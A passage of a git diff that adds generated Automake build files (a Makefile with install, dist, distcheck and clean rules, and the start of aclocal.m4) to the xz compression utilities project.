@dvidir@ +enable_path_for_scripts = @enable_path_for_scripts@ +exec_prefix = @exec_prefix@ +host = @host@ +host_alias = @host_alias@ +host_cpu = @host_cpu@ +host_os = @host_os@ +host_vendor = @host_vendor@ +htmldir = @htmldir@ +includedir = @includedir@ +infodir = @infodir@ +install_sh = @install_sh@ +libdir = @libdir@ +libexecdir = @libexecdir@ +localedir = @localedir@ +localedir_c = @localedir_c@ +localedir_c_make = @localedir_c_make@ +localstatedir = @localstatedir@ +mandir = @mandir@ +mkdir_p = @mkdir_p@ +oldincludedir = @oldincludedir@ +pdfdir = @pdfdir@ +prefix = @prefix@ +program_transform_name = @program_transform_name@ +psdir = @psdir@ +runstatedir = @runstatedir@ +sbindir = @sbindir@ +sharedstatedir = @sharedstatedir@ +srcdir = @srcdir@ +sysconfdir = @sysconfdir@ +target_alias = @target_alias@ +top_build_prefix = @top_build_prefix@ +top_builddir = @top_builddir@ +top_srcdir = @top_srcdir@ +xz = @xz@ + +# Use -n to prevent gzip from adding a timestamp to the .gz headers. +GZIP_ENV = -9n +DIST_SUBDIRS = lib src po tests debug +SUBDIRS = $(am__append_1) src po tests +@COND_DOC_TRUE@dist_doc_DATA = \ +@COND_DOC_TRUE@ AUTHORS \ +@COND_DOC_TRUE@ COPYING \ +@COND_DOC_TRUE@ COPYING.0BSD \ +@COND_DOC_TRUE@ COPYING.GPLv2 \ +@COND_DOC_TRUE@ NEWS \ +@COND_DOC_TRUE@ README \ +@COND_DOC_TRUE@ THANKS \ +@COND_DOC_TRUE@ doc/faq.txt \ +@COND_DOC_TRUE@ doc/history.txt \ +@COND_DOC_TRUE@ doc/xz-file-format.txt \ +@COND_DOC_TRUE@ doc/lzma-file-format.txt + +@COND_DOC_TRUE@examplesdir = $(docdir)/examples +@COND_DOC_TRUE@dist_examples_DATA = \ +@COND_DOC_TRUE@ doc/examples/00_README.txt \ +@COND_DOC_TRUE@ doc/examples/01_compress_easy.c \ +@COND_DOC_TRUE@ doc/examples/02_decompress.c \ +@COND_DOC_TRUE@ doc/examples/03_compress_custom.c \ +@COND_DOC_TRUE@ doc/examples/04_compress_easy_mt.c \ +@COND_DOC_TRUE@ doc/examples/11_file_info.c \ +@COND_DOC_TRUE@ doc/examples/Makefile + +EXTRA_DIST = \ + cmake \ + dos \ + doxygen \ + extra \ + po4a \ + windows \ + CMakeLists.txt \ + COPYING.CC-BY-SA-4.0 \ + COPYING.GPLv2 \ + COPYING.GPLv3 \ + COPYING.LGPLv2.1 \ + INSTALL.generic \ + PACKAGERS \ + TODO \ + autogen.sh \ + build-aux/manconv.sh \ + build-aux/version.sh \ + doc/xz-logo.png \ + po/xz.pot-header + +ACLOCAL_AMFLAGS = -I m4 + +# List of man pages to convert to PDF and plain text in the dist-hook target. +manfiles = \ + src/xz/xz.1 \ + src/xzdec/xzdec.1 \ + src/lzmainfo/lzmainfo.1 \ + src/scripts/xzdiff.1 \ + src/scripts/xzgrep.1 \ + src/scripts/xzless.1 \ + src/scripts/xzmore.1 + +all: config.h + $(MAKE) $(AM_MAKEFLAGS) all-recursive + +.SUFFIXES: +am--refresh: Makefile + @: +$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) + @for dep in $?; do \ + case '$(am__configure_deps)' in \ + *$$dep*) \ + echo ' cd $(srcdir) && $(AUTOMAKE) --foreign'; \ + $(am__cd) $(srcdir) && $(AUTOMAKE) --foreign \ + && exit 0; \ + exit 1;; \ + esac; \ + done; \ + echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign Makefile'; \ + $(am__cd) $(top_srcdir) && \ + $(AUTOMAKE) --foreign Makefile +Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status + @case '$?' in \ + *config.status*) \ + echo ' $(SHELL) ./config.status'; \ + $(SHELL) ./config.status;; \ + *) \ + echo ' cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__maybe_remake_depfiles)'; \ + cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__maybe_remake_depfiles);; \ + esac; + +$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) + $(SHELL) ./config.status --recheck + +$(top_srcdir)/configure: $(am__configure_deps) + $(am__cd) $(srcdir) && $(AUTOCONF) +$(ACLOCAL_M4): $(am__aclocal_m4_deps) + $(am__cd) $(srcdir) && $(ACLOCAL) $(ACLOCAL_AMFLAGS) +$(am__aclocal_m4_deps): + +config.h: stamp-h1 + @test -f $@ || rm -f stamp-h1 + @test -f $@ || $(MAKE) $(AM_MAKEFLAGS) stamp-h1 + +stamp-h1: $(srcdir)/config.h.in $(top_builddir)/config.status + @rm -f stamp-h1 + cd $(top_builddir) && $(SHELL) ./config.status config.h +$(srcdir)/config.h.in: $(am__configure_deps) + ($(am__cd) $(top_srcdir) && $(AUTOHEADER)) + rm -f stamp-h1 + touch $@ + +distclean-hdr: + -rm -f config.h stamp-h1 + +mostlyclean-libtool: + -rm -f *.lo + +clean-libtool: + -rm -rf .libs _libs + +distclean-libtool: + -rm -f libtool config.lt +install-dist_docDATA: $(dist_doc_DATA) + @$(NORMAL_INSTALL) + @list='$(dist_doc_DATA)'; test -n "$(docdir)" || list=; \ + if test -n "$$list"; then \ + echo " $(MKDIR_P) '$(DESTDIR)$(docdir)'"; \ + $(MKDIR_P) "$(DESTDIR)$(docdir)" || exit 1; \ + fi; \ + for p in $$list; do \ + if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \ + echo "$$d$$p"; \ + done | $(am__base_list) | \ + while read files; do \ + echo " $(INSTALL_DATA) $$files '$(DESTDIR)$(docdir)'"; \ + $(INSTALL_DATA) $$files "$(DESTDIR)$(docdir)" || exit $$?; \ + done + +uninstall-dist_docDATA: + @$(NORMAL_UNINSTALL) + @list='$(dist_doc_DATA)'; test -n "$(docdir)" || list=; \ + files=`for p in $$list; do echo $$p; done | sed -e 's|^.*/||'`; \ + dir='$(DESTDIR)$(docdir)'; $(am__uninstall_files_from_dir) +install-dist_examplesDATA: $(dist_examples_DATA) + @$(NORMAL_INSTALL) + @list='$(dist_examples_DATA)'; test -n "$(examplesdir)" || list=; \ + if test -n "$$list"; then \ + echo " $(MKDIR_P) '$(DESTDIR)$(examplesdir)'"; \ + $(MKDIR_P) "$(DESTDIR)$(examplesdir)" || exit 1; \ + fi; \ + for p in $$list; do \ + if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \ + echo "$$d$$p"; \ + done | $(am__base_list) | \ + while read files; do \ + echo " $(INSTALL_DATA) $$files '$(DESTDIR)$(examplesdir)'"; \ + $(INSTALL_DATA) $$files "$(DESTDIR)$(examplesdir)" || exit $$?; \ + done + +uninstall-dist_examplesDATA: + @$(NORMAL_UNINSTALL) + @list='$(dist_examples_DATA)'; test -n "$(examplesdir)" || list=; \ + files=`for p in $$list; do echo $$p; done | sed -e 's|^.*/||'`; \ + dir='$(DESTDIR)$(examplesdir)'; $(am__uninstall_files_from_dir) + +# This directory's subdirectories are mostly independent; you can cd +# into them and run 'make' without going through this Makefile. +# To change the values of 'make' variables: instead of editing Makefiles, +# (1) if the variable is set in 'config.status', edit 'config.status' +# (which will cause the Makefiles to be regenerated when you run 'make'); +# (2) otherwise, pass the desired values on the 'make' command line. +$(am__recursive_targets): + @fail=; \ + if $(am__make_keepgoing); then \ + failcom='fail=yes'; \ + else \ + failcom='exit 1'; \ + fi; \ + dot_seen=no; \ + target=`echo $@ | sed s/-recursive//`; \ + case "$@" in \ + distclean-* | maintainer-clean-*) list='$(DIST_SUBDIRS)' ;; \ + *) list='$(SUBDIRS)' ;; \ + esac; \ + for subdir in $$list; do \ + echo "Making $$target in $$subdir"; \ + if test "$$subdir" = "."; then \ + dot_seen=yes; \ + local_target="$$target-am"; \ + else \ + local_target="$$target"; \ + fi; \ + ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \ + || eval $$failcom; \ + done; \ + if test "$$dot_seen" = "no"; then \ + $(MAKE) $(AM_MAKEFLAGS) "$$target-am" || exit 1; \ + fi; test -z "$$fail" + +ID: $(am__tagged_files) + $(am__define_uniq_tagged_files); mkid -fID $$unique +tags: tags-recursive +TAGS: tags + +tags-am: $(TAGS_DEPENDENCIES) $(am__tagged_files) + set x; \ + here=`pwd`; \ + if ($(ETAGS) --etags-include --version) >/dev/null 2>&1; then \ + include_option=--etags-include; \ + empty_fix=.; \ + else \ + include_option=--include; \ + empty_fix=; \ + fi; \ + list='$(SUBDIRS)'; for subdir in $$list; do \ + if test "$$subdir" = .; then :; else \ + test ! -f $$subdir/TAGS || \ + set "$$@" "$$include_option=$$here/$$subdir/TAGS"; \ + fi; \ + done; \ + $(am__define_uniq_tagged_files); \ + shift; \ + if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \ + test -n "$$unique" || unique=$$empty_fix; \ + if test $$# -gt 0; then \ + $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ + "$$@" $$unique; \ + else \ + $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ + $$unique; \ + fi; \ + fi +ctags: ctags-recursive + +CTAGS: ctags +ctags-am: $(TAGS_DEPENDENCIES) $(am__tagged_files) + $(am__define_uniq_tagged_files); \ + test -z "$(CTAGS_ARGS)$$unique" \ + || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ + $$unique + +GTAGS: + here=`$(am__cd) $(top_builddir) && pwd` \ + && $(am__cd) $(top_srcdir) \ + && gtags -i $(GTAGS_ARGS) "$$here" +cscope: cscope.files + test ! -s cscope.files \ + || $(CSCOPE) -b -q $(AM_CSCOPEFLAGS) $(CSCOPEFLAGS) -i cscope.files $(CSCOPE_ARGS) +clean-cscope: + -rm -f cscope.files +cscope.files: clean-cscope cscopelist +cscopelist: cscopelist-recursive + +cscopelist-am: $(am__tagged_files) + list='$(am__tagged_files)'; \ + case "$(srcdir)" in \ + [\\/]* | ?:[\\/]*) sdir="$(srcdir)" ;; \ + *) sdir=$(subdir)/$(srcdir) ;; \ + esac; \ + for i in $$list; do \ + if test -f "$$i"; then \ + echo "$(subdir)/$$i"; \ + else \ + echo "$$sdir/$$i"; \ + fi; \ + done >> $(top_builddir)/cscope.files + +distclean-tags: + -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags + -rm -f cscope.out cscope.in.out cscope.po.out cscope.files +distdir: $(BUILT_SOURCES) + $(MAKE) $(AM_MAKEFLAGS) distdir-am + +distdir-am: $(DISTFILES) + $(am__remove_distdir) + test -d "$(distdir)" || mkdir "$(distdir)" + @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ + topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ + list='$(DISTFILES)'; \ + dist_files=`for file in $$list; do echo $$file; done | \ + sed -e "s|^$$srcdirstrip/||;t" \ + -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ + case $$dist_files in \ + */*) $(MKDIR_P) `echo "$$dist_files" | \ + sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ + sort -u` ;; \ + esac; \ + for file in $$dist_files; do \ + if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ + if test -d $$d/$$file; then \ + dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ + if test -d "$(distdir)/$$file"; then \ + find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ + fi; \ + if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ + cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ + find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ + fi; \ + cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ + else \ + test -f "$(distdir)/$$file" \ + || cp -p $$d/$$file "$(distdir)/$$file" \ + || exit 1; \ + fi; \ + done + @list='$(DIST_SUBDIRS)'; for subdir in $$list; do \ + if test "$$subdir" = .; then :; else \ + $(am__make_dryrun) \ + || test -d "$(distdir)/$$subdir" \ + || $(MKDIR_P) "$(distdir)/$$subdir" \ + || exit 1; \ + dir1=$$subdir; dir2="$(distdir)/$$subdir"; \ + $(am__relativize); \ + new_distdir=$$reldir; \ + dir1=$$subdir; dir2="$(top_distdir)"; \ + $(am__relativize); \ + new_top_distdir=$$reldir; \ + echo " (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) top_distdir="$$new_top_distdir" distdir="$$new_distdir" \\"; \ + echo " am__remove_distdir=: am__skip_length_check=: am__skip_mode_fix=: distdir)"; \ + ($(am__cd) $$subdir && \ + $(MAKE) $(AM_MAKEFLAGS) \ + top_distdir="$$new_top_distdir" \ + distdir="$$new_distdir" \ + am__remove_distdir=: \ + am__skip_length_check=: \ + am__skip_mode_fix=: \ + distdir) \ + || exit 1; \ + fi; \ + done + $(MAKE) $(AM_MAKEFLAGS) \ + top_distdir="$(top_distdir)" distdir="$(distdir)" \ + dist-hook + -test -n "$(am__skip_mode_fix)" \ + || find "$(distdir)" -type d ! -perm -755 \ + -exec chmod u+rwx,go+rx {} \; -o \ + ! -type d ! -perm -444 -links 1 -exec chmod a+r {} \; -o \ + ! -type d ! -perm -400 -exec chmod a+r {} \; -o \ + ! -type d ! -perm -444 -exec $(install_sh) -c -m a+r {} {} \; \ + || chmod -R a+r "$(distdir)" + @if test -z "$(am__skip_length_check)" && find "$(distdir)" -type f -print | \ + grep '^...................................................................................................' 1>&2; then \ + echo 'error: the above filenames are too long' 1>&2; \ + exit 1; \ + else :; fi +dist-gzip: distdir + tardir=$(distdir) && $(am__tar) | eval GZIP= gzip $(GZIP_ENV) -c >$(distdir).tar.gz + $(am__post_remove_distdir) + +dist-bzip2: distdir + tardir=$(distdir) && $(am__tar) | BZIP2=$${BZIP2--9} bzip2 -c >$(distdir).tar.bz2 + $(am__post_remove_distdir) + +dist-lzip: distdir + tardir=$(distdir) && $(am__tar) | lzip -c $${LZIP_OPT--9} >$(distdir).tar.lz + $(am__post_remove_distdir) + +dist-xz: distdir + tardir=$(distdir) && $(am__tar) | XZ_OPT=$${XZ_OPT--e} xz -c >$(distdir).tar.xz + $(am__post_remove_distdir) + +dist-zstd: distdir + tardir=$(distdir) && $(am__tar) | zstd -c $${ZSTD_CLEVEL-$${ZSTD_OPT--19}} >$(distdir).tar.zst + $(am__post_remove_distdir) + +dist-tarZ: distdir + @echo WARNING: "Support for distribution archives compressed with" \ + "legacy program 'compress' is deprecated." >&2 + @echo WARNING: "It will be removed altogether in Automake 2.0" >&2 + tardir=$(distdir) && $(am__tar) | compress -c >$(distdir).tar.Z + $(am__post_remove_distdir) + +dist-shar: distdir + @echo WARNING: "Support for shar distribution archives is" \ + "deprecated." >&2 + @echo WARNING: "It will be removed altogether in Automake 2.0" >&2 + shar $(distdir) | eval GZIP= gzip $(GZIP_ENV) -c >$(distdir).shar.gz + $(am__post_remove_distdir) + +dist-zip: distdir + -rm -f $(distdir).zip + zip -rq $(distdir).zip $(distdir) + $(am__post_remove_distdir) + +dist dist-all: + $(MAKE) $(AM_MAKEFLAGS) $(DIST_TARGETS) am__post_remove_distdir='@:' + $(am__post_remove_distdir) + +# This target untars the dist file and tries a VPATH configuration. Then +# it guarantees that the distribution is self-contained by making another +# tarfile. +distcheck: dist + case '$(DIST_ARCHIVES)' in \ + *.tar.gz*) \ + eval GZIP= gzip $(GZIP_ENV) -dc $(distdir).tar.gz | $(am__untar) ;;\ + *.tar.bz2*) \ + bzip2 -dc $(distdir).tar.bz2 | $(am__untar) ;;\ + *.tar.lz*) \ + lzip -dc $(distdir).tar.lz | $(am__untar) ;;\ + *.tar.xz*) \ + xz -dc $(distdir).tar.xz | $(am__untar) ;;\ + *.tar.Z*) \ + uncompress -c $(distdir).tar.Z | $(am__untar) ;;\ + *.shar.gz*) \ + eval GZIP= gzip $(GZIP_ENV) -dc $(distdir).shar.gz | unshar ;;\ + *.zip*) \ + unzip $(distdir).zip ;;\ + *.tar.zst*) \ + zstd -dc $(distdir).tar.zst | $(am__untar) ;;\ + esac + chmod -R a-w $(distdir) + chmod u+w $(distdir) + mkdir $(distdir)/_build $(distdir)/_build/sub $(distdir)/_inst + chmod a-w $(distdir) + test -d $(distdir)/_build || exit 0; \ + dc_install_base=`$(am__cd) $(distdir)/_inst && pwd | sed -e 's,^[^:\\/]:[\\/],/,'` \ + && dc_destdir="$${TMPDIR-/tmp}/am-dc-$$$$/" \ + && am__cwd=`pwd` \ + && $(am__cd) $(distdir)/_build/sub \ + && ../../configure \ + $(AM_DISTCHECK_CONFIGURE_FLAGS) \ + $(DISTCHECK_CONFIGURE_FLAGS) \ + --srcdir=../.. --prefix="$$dc_install_base" \ + && $(MAKE) $(AM_MAKEFLAGS) \ + && $(MAKE) $(AM_MAKEFLAGS) $(AM_DISTCHECK_DVI_TARGET) \ + && $(MAKE) $(AM_MAKEFLAGS) check \ + && $(MAKE) $(AM_MAKEFLAGS) install \ + && $(MAKE) $(AM_MAKEFLAGS) installcheck \ + && $(MAKE) $(AM_MAKEFLAGS) uninstall \ + && $(MAKE) $(AM_MAKEFLAGS) distuninstallcheck_dir="$$dc_install_base" \ + distuninstallcheck \ + && chmod -R a-w "$$dc_install_base" \ + && ({ \ + (cd ../.. && umask 077 && mkdir "$$dc_destdir") \ + && $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" install \ + && $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" uninstall \ + && $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" \ + distuninstallcheck_dir="$$dc_destdir" distuninstallcheck; \ + } || { rm -rf "$$dc_destdir"; exit 1; }) \ + && rm -rf "$$dc_destdir" \ + && $(MAKE) $(AM_MAKEFLAGS) dist \ + && rm -rf $(DIST_ARCHIVES) \ + && $(MAKE) $(AM_MAKEFLAGS) distcleancheck \ + && cd "$$am__cwd" \ + || exit 1 + $(am__post_remove_distdir) + @(echo "$(distdir) archives ready for distribution: "; \ + list='$(DIST_ARCHIVES)'; for i in $$list; do echo $$i; done) | \ + sed -e 1h -e 1s/./=/g -e 1p -e 1x -e '$$p' -e '$$x' +distuninstallcheck: + @test -n '$(distuninstallcheck_dir)' || { \ + echo 'ERROR: trying to run $@ with an empty' \ + '$$(distuninstallcheck_dir)' >&2; \ + exit 1; \ + }; \ + $(am__cd) '$(distuninstallcheck_dir)' || { \ + echo 'ERROR: cannot chdir into $(distuninstallcheck_dir)' >&2; \ + exit 1; \ + }; \ + test `$(am__distuninstallcheck_listfiles) | wc -l` -eq 0 \ + || { echo "ERROR: files left after uninstall:" ; \ + if test -n "$(DESTDIR)"; then \ + echo " (check DESTDIR support)"; \ + fi ; \ + $(distuninstallcheck_listfiles) ; \ + exit 1; } >&2 +distcleancheck: distclean + @if test '$(srcdir)' = . ; then \ + echo "ERROR: distcleancheck can only run from a VPATH build" ; \ + exit 1 ; \ + fi + @test `$(distcleancheck_listfiles) | wc -l` -eq 0 \ + || { echo "ERROR: files left in build directory after distclean:" ; \ + $(distcleancheck_listfiles) ; \ + exit 1; } >&2 +check-am: all-am +check: check-recursive +all-am: Makefile $(DATA) config.h +installdirs: installdirs-recursive +installdirs-am: + for dir in "$(DESTDIR)$(docdir)" "$(DESTDIR)$(examplesdir)"; do \ + test -z "$$dir" || $(MKDIR_P) "$$dir"; \ + done +install: install-recursive +install-exec: install-exec-recursive +install-data: install-data-recursive +uninstall: uninstall-recursive + +install-am: all-am + @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am + +installcheck: installcheck-recursive +install-strip: + if test -z '$(STRIP)'; then \ + $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ + install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ + install; \ + else \ + $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ + install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ + "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'" install; \ + fi +mostlyclean-generic: + +clean-generic: + +distclean-generic: + -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) + -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) + +maintainer-clean-generic: + @echo "This command is intended for maintainers to use" + @echo "it deletes files that may require special tools to rebuild." +@COND_DOC_FALSE@install-data-local: +@COND_DOC_FALSE@uninstall-local: +clean: clean-recursive + +clean-am: clean-generic clean-libtool mostlyclean-am + +distclean: distclean-recursive + -rm -f $(am__CONFIG_DISTCLEAN_FILES) + -rm -f Makefile +distclean-am: clean-am distclean-generic distclean-hdr \ + distclean-libtool distclean-tags + +dvi: dvi-recursive + +dvi-am: + +html: html-recursive + +html-am: + +info: info-recursive + +info-am: + +install-data-am: install-data-local install-dist_docDATA \ + install-dist_examplesDATA + +install-dvi: install-dvi-recursive + +install-dvi-am: + +install-exec-am: + +install-html: install-html-recursive + +install-html-am: + +install-info: install-info-recursive + +install-info-am: + +install-man: + +install-pdf: install-pdf-recursive + +install-pdf-am: + +install-ps: install-ps-recursive + +install-ps-am: + +installcheck-am: + +maintainer-clean: maintainer-clean-recursive + -rm -f $(am__CONFIG_DISTCLEAN_FILES) + -rm -rf $(top_srcdir)/autom4te.cache + -rm -f Makefile +maintainer-clean-am: distclean-am maintainer-clean-generic + +mostlyclean: mostlyclean-recursive + +mostlyclean-am: mostlyclean-generic mostlyclean-libtool + +pdf: pdf-recursive + +pdf-am: + +ps: ps-recursive + +ps-am: + +uninstall-am: uninstall-dist_docDATA uninstall-dist_examplesDATA \ + uninstall-local + +.MAKE: $(am__recursive_targets) all install-am install-strip + +.PHONY: $(am__recursive_targets) CTAGS GTAGS TAGS all all-am \ + am--refresh check check-am clean clean-cscope clean-generic \ + clean-libtool cscope cscopelist-am ctags ctags-am dist \ + dist-all dist-bzip2 dist-gzip dist-hook dist-lzip dist-shar \ + dist-tarZ dist-xz dist-zip dist-zstd distcheck distclean \ + distclean-generic distclean-hdr distclean-libtool \ + distclean-tags distcleancheck distdir distuninstallcheck dvi \ + dvi-am html html-am info info-am install install-am \ + install-data install-data-am install-data-local \ + install-dist_docDATA install-dist_examplesDATA install-dvi \ + install-dvi-am install-exec install-exec-am install-html \ + install-html-am install-info install-info-am install-man \ + install-pdf install-pdf-am install-ps install-ps-am \ + install-strip installcheck installcheck-am installdirs \ + installdirs-am maintainer-clean maintainer-clean-generic \ + mostlyclean mostlyclean-generic mostlyclean-libtool pdf pdf-am \ + ps ps-am tags tags-am uninstall uninstall-am \ + uninstall-dist_docDATA uninstall-dist_examplesDATA \ + uninstall-local + +.PRECIOUS: Makefile + + +# Install the Doxygen generated documentation if they were built. +@COND_DOC_TRUE@install-data-local: +@COND_DOC_TRUE@ if test -d "$(srcdir)/doc/api" ; then \ +@COND_DOC_TRUE@ $(MKDIR_P) "$(DESTDIR)$(docdir)/api" && \ +@COND_DOC_TRUE@ $(INSTALL_DATA) "$(srcdir)"/doc/api/* \ +@COND_DOC_TRUE@ "$(DESTDIR)$(docdir)/api"; \ +@COND_DOC_TRUE@ fi + +# Remove the Doxygen generated documentation when uninstalling. +@COND_DOC_TRUE@uninstall-local: +@COND_DOC_TRUE@ rm -rf "$(DESTDIR)$(docdir)/api" + +# Create ChangeLog from output of "git log --date=iso --stat". +# Convert the man pages to PDF and plain text (ASCII only) formats. +dist-hook: + if test -d "$(srcdir)/.git" && type git > /dev/null 2>&1; then \ + ( cd "$(srcdir)" && git log --date=iso --stat \ + b69da6d4bb6bb11fc0cf066920791990d2b22a06^..HEAD ) \ + > "$(distdir)/ChangeLog"; \ + fi + if type groff > /dev/null 2>&1 && type ps2pdf > /dev/null 2>&1; then \ + dest="$(distdir)/doc/man" && \ + $(MKDIR_P) "$$dest/pdf-a4" "$$dest/pdf-letter" "$$dest/txt" && \ + for FILE in $(manfiles); do \ + BASE=`basename $$FILE .1` && \ + sh "$(srcdir)/build-aux/manconv.sh" pdf a4 \ + < "$(srcdir)/$$FILE" \ + > "$$dest/pdf-a4/$$BASE-a4.pdf" && \ + sh "$(srcdir)/build-aux/manconv.sh" pdf letter \ + < "$(srcdir)/$$FILE" \ + > "$$dest/pdf-letter/$$BASE-letter.pdf" && \ + sh "$(srcdir)/build-aux/manconv.sh" ascii \ + < "$(srcdir)/$$FILE" \ + > "$$dest/txt/$$BASE.txt"; \ + done; \ + fi + if test -d "$(srcdir)/doc/api" ; then \ + $(MKDIR_P) "$(distdir)/doc/api" && \ + $(INSTALL_DATA) "$(srcdir)"/doc/api/* \ + "$(distdir)/doc/api"; \ + fi + +# This works with GNU tar and gives cleaner package than normal 'make dist'. +# This also ensures that the man page translations are up to date (dist-hook +# would be too late for that). +mydist: + sh "$(srcdir)/src/liblzma/validate_map.sh" + cd "$(srcdir)/po4a" && sh update-po + cd "$(srcdir)/doxygen" && sh update-doxygen + VERSION=$(VERSION); \ + if test -d "$(srcdir)/.git" && type git > /dev/null 2>&1; then \ + SNAPSHOT=`cd "$(srcdir)" && git describe --abbrev=4 | cut -b2-`; \ + test -n "$$SNAPSHOT" && VERSION=$$SNAPSHOT; \ + fi; \ + TAR_OPTIONS='--owner=0 --group=0 --numeric-owner --mode=u+rw,go+r-w' \ + $(MAKE) VERSION="$$VERSION" dist-gzip + +# Tell versions [3.59,3.63) of GNU make to not export all variables. +# Otherwise a system limit (for SysV at least) may be exceeded. +.NOEXPORT: diff --git a/aclocal.m4 b/aclocal.m4 new file mode 100644 index 00000000..86f17490 --- /dev/null +++ b/aclocal.m4 @@ -0,0 +1,1196 @@ +# generated automatically by aclocal 1.16.5 -*- Autoconf -*- + +# Copyright (C) 1996-2021 Free Software Foundation, Inc. + +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY, to the extent permitted by law; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A +# PARTICULAR PURPOSE. + +m4_ifndef([AC_CONFIG_MACRO_DIRS], [m4_defun([_AM_CONFIG_MACRO_DIRS], [])m4_defun([AC_CONFIG_MACRO_DIRS], [_AM_CONFIG_MACRO_DIRS($@)])]) +m4_ifndef([AC_AUTOCONF_VERSION], + [m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl +m4_if(m4_defn([AC_AUTOCONF_VERSION]), [2.72],, +[m4_warning([this file was generated for autoconf 2.72. +You have another version of autoconf. It may work, but is not guaranteed to. +If you have problems, you may need to regenerate the build system entirely. +To do so, use the procedure documented by the package, typically 'autoreconf'.])]) + +# Copyright (C) 2002-2021 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# AM_AUTOMAKE_VERSION(VERSION) +# ---------------------------- +# Automake X.Y traces this macro to ensure aclocal.m4 has been +# generated from the m4 files accompanying Automake X.Y. +# (This private macro should not be called outside this file.) +AC_DEFUN([AM_AUTOMAKE_VERSION], +[am__api_version='1.16' +dnl Some users find AM_AUTOMAKE_VERSION and mistake it for a way to +dnl require some minimum version. Point them to the right macro. +m4_if([$1], [1.16.5], [], + [AC_FATAL([Do not call $0, use AM_INIT_AUTOMAKE([$1]).])])dnl +]) + +# _AM_AUTOCONF_VERSION(VERSION) +# ----------------------------- +# aclocal traces this macro to find the Autoconf version. +# This is a private macro too. Using m4_define simplifies +# the logic in aclocal, which can simply ignore this definition. +m4_define([_AM_AUTOCONF_VERSION], []) + +# AM_SET_CURRENT_AUTOMAKE_VERSION +# ------------------------------- +# Call AM_AUTOMAKE_VERSION and AM_AUTOMAKE_VERSION so they can be traced. +# This function is AC_REQUIREd by AM_INIT_AUTOMAKE. +AC_DEFUN([AM_SET_CURRENT_AUTOMAKE_VERSION], +[AM_AUTOMAKE_VERSION([1.16.5])dnl +m4_ifndef([AC_AUTOCONF_VERSION], + [m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl +_AM_AUTOCONF_VERSION(m4_defn([AC_AUTOCONF_VERSION]))]) + +# Figure out how to run the assembler. -*- Autoconf -*- + +# Copyright (C) 2001-2021 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# AM_PROG_AS +# ---------- +AC_DEFUN([AM_PROG_AS], +[# By default we simply use the C compiler to build assembly code. +AC_REQUIRE([AC_PROG_CC]) +test "${CCAS+set}" = set || CCAS=$CC +test "${CCASFLAGS+set}" = set || CCASFLAGS=$CFLAGS +AC_ARG_VAR([CCAS], [assembler compiler command (defaults to CC)]) +AC_ARG_VAR([CCASFLAGS], [assembler compiler flags (defaults to CFLAGS)]) +_AM_IF_OPTION([no-dependencies],, [_AM_DEPENDENCIES([CCAS])])dnl +]) + +# AM_AUX_DIR_EXPAND -*- Autoconf -*- + +# Copyright (C) 2001-2021 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# For projects using AC_CONFIG_AUX_DIR([foo]), Autoconf sets +# $ac_aux_dir to '$srcdir/foo'. In other projects, it is set to +# '$srcdir', '$srcdir/..', or '$srcdir/../..'. +# +# Of 